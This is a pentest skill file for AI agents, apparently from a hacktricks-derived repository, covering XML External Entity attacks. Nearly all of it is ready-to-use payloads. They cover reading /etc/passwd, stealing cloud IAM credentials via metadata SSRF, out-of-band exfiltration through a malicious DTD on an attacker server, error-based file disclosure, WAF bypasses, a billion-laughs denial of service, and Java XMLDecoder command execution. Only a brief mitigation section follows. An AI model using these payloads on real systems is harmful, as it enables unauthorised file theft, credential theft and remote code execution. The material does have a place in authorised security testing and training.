Hacktricks-skills xxe-pentest
XML External Entity (XXE) vulnerability testing and exploitation. Use this skill whenever the user mentions XXE, XML parsing, XML injection, file upload vulnerabilities with XML formats (SVG, DOCX, XLIFF, RSS), or needs to test for XML-based attacks including file read, SSRF, blind XXE, error-based XXE, or WAF bypasses. Also use when analyzing XML parsers in Java, Python lxml, PHP, or any application that processes XML input.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xxe-xee-xml-external-entity/SKILL.MDXXE Pentest Skill
A comprehensive guide for testing and exploiting XML External Entity (XXE) vulnerabilities.
Quick Start
- Identify XML input points - Look for XML parsers, file uploads (SVG, DOCX, XLIFF, RSS), SOAP endpoints, or any XML processing
- Test basic XXE - Start with simple entity injection
- Escalate - Try file read, SSRF, blind techniques, or error-based exfiltration
- Bypass protections - Use encoding, protocol tricks, or parameter entities
Detection & Initial Testing
Basic XXE Test
Test if entity declarations are processed:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY toreplace "3"> ]> <stockCheck> <productId>&toreplace;</productId> <storeId>1</storeId> </stockCheck>
If the response shows
3 instead of the original value, XXE is likely possible.
Parameter Entity Detection
When standard entities are blocked, try parameter entities for out-of-band detection:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR.net"> %xxe; ]> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Monitor for DNS/HTTP callbacks to confirm vulnerability.
File Reading Attacks
Direct File Read
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]> <data>&example;</data>
File Protocol Variations
<!-- Standard file:// --> <!ENTITY example SYSTEM "file:///etc/passwd"> <!-- Windows --> <!ENTITY example SYSTEM "file:///C:/windows/system32/drivers/etc/hosts"> <!-- With ELEMENT declaration --> <!DOCTYPE data [ <!ELEMENT stockCheck ANY> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <stockCheck> <productId>&file;</productId> <storeId>1</storeId> </stockCheck>
PHP Filter Wrapper
For PHP applications, use base64 encoding to extract files:
<!DOCTYPE replace [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <data>&xxe;</data>
Extract source code:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
Directory Listing (Java)
<!-- Root directory --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE aa[ <!ELEMENT bb ANY> <!ENTITY xxe SYSTEM "file:///" ]> <root><foo>&xxe;</foo></root> <!-- Specific directory --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root[ <!ENTITY xxe SYSTEM "file:///etc/" ]> <root><foo>&xxe;</foo></root>
SSRF & Out-of-Band Attacks
Cloud Metadata SSRF
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]> <stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Blind SSRF with Parameter Entities
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR.net"> %xxe; ]> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Out-of-Band Data Exfiltration
Host a malicious DTD at
http://YOUR-SERVER.com/malicious.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://YOUR-SERVER.com/?x=%file;'>"> %eval; %exfiltrate;
Then send:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://YOUR-SERVER.com/malicious.dtd"> %xxe; ]> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Error-Based XXE
External DTD Error-Based
Host malicious DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
Send payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://YOUR-SERVER.com/malicious.dtd"> %xxe; ]> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
The error message will contain the file contents.
System DTD Error-Based (No Outbound)
When external connections are blocked, use local DTDs:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Finding Local DTDs
Common DTD paths to try:
/usr/share/yelp/dtd/docbookx.dtd/usr/local/app/schema.dtd/tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Use
dtd-finder tool on Docker images to discover DTDs:
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/docker-image.tar
Format-Specific Attacks
SVG File Upload
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> <image xlink:href="file:///etc/hostname"></image> </svg>
Command execution via PHP expect:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> <image xlink:href="expect://ls"></image> </svg>
XLIFF Upload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE XXE [ <!ENTITY % remote SYSTEM "http://YOUR-COLLABORATOR.net/?xxe_test"> %remote; ]> <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
RSS Feed
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE title [ <!ELEMENT title ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"> <channel> <title>&xxe;</title> <link>http://example.com/</link> <description>A blog about things</description> </channel> </rss>
Office Documents (DOCX/XLSX)
- Unzip the document
- Edit
orword/document.xmlxl/sharedStrings.xml - Insert XXE payload between root elements
- Rezip and upload
XInclude
When you can't control DOCTYPE:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
SOAP
<soap:Body> <foo><![CDATA[ <!DOCTYPE doc [ <!ENTITY % dtd SYSTEM "http://YOUR-IP:22/"> %dtd; ]> <xxx/> ]]></foo> </soap:Body>
WAF & Protection Bypasses
Base64 Encoding
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]> <foo/>
UTF-7 Encoding
<?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://YOUR-IP:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
HTML Entity Encoding
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" > %a; %dtd; ]> <data><env>&exfil;</env></data>
Jar Protocol (Java)
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "jar:http://YOUR-IP:8080/evil.zip!/evil.dtd"> ]> <foo>&xxe;</foo>
Content-Type Switching
Change from JSON to XML:
Content-Type: application/xml;charset=UTF-8 <?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE testingxxe [ <!ENTITY xxe SYSTEM "http://YOUR-IP:8000/TEST.ext" > ]> <root> <root> <firstName>&xxe;</firstName> </root> </root>
DoS Attacks
Billion Laugh Attack
<!DOCTYPE data [ <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> <data>&a4;</data>
Java XMLDecoder RCE
Runtime.exec()
<?xml version="1.0" encoding="UTF-8"?> <java version="1.7.0_21" class="java.beans.XMLDecoder"> <object class="java.lang.Runtime" method="getRuntime"> <void method="exec"> <array class="java.lang.String" length="6"> <void index="0"><string>/bin/sh</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>YOUR-COMMAND</string></void> </array> </void> </object> </java>
ProcessBuilder
<?xml version="1.0" encoding="UTF-8"?> <java version="1.7.0_21" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"><string>/bin/sh</string></void> <void index="1"><string>-c</string></void> <void index="2"><string>YOUR-COMMAND</string></void> </array> <void method="start" id="process"/> </void> </java>
Python lxml Exploitation
Error-Based File Disclosure (lxml < 5.4.0)
<!DOCTYPE colors [ <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd"> <!ENTITY % config_hex ' <!ENTITY % flag SYSTEM "file:///tmp/flag.txt"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>"> %eval;'> %local_dtd; ]>
Bypassing lxml 5.4.0 Hardening
<!DOCTYPE colors [ <!ENTITY % a ' <!ENTITY % file SYSTEM "file:///tmp/flag.txt"> <!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>"> '> %a; %b; ]> <colors>&c;</colors>
Mitigation Guidance
Java DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false);
Python lxml
from lxml import etree parser = etree.XMLParser(resolve_entities=False, load_dtd=False)
General Recommendations
- Disable DOCTYPE declarations entirely
- Disable external entity resolution
- Use secure processing mode
- Avoid returning raw parser errors to users
- Validate and sanitize all XML input
- Upgrade libraries (lxml ≥ 5.4.0, libxml2 ≥ 2.13.8)
Tools
- xxexploiter: https://github.com/luisfontes19/xxexploiter
- dtd-finder: https://github.com/GoSecure/dtd-finder
- xxe-ftp-server.rb: https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
- Burp Collaborator: For out-of-band detection
- Responder.py: For NTLM hash capture on Windows
References
- PortSwigger XXE Guide: https://portswigger.net/web-security/xxe
- PayloadsAllTheThings XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
- XXE Workshop: https://gosecure.github.io/xxe-workshop/
- CVE-2025-27136 LocalS3 XXE: https://www.offsec.com/blog/cve-2025-27136/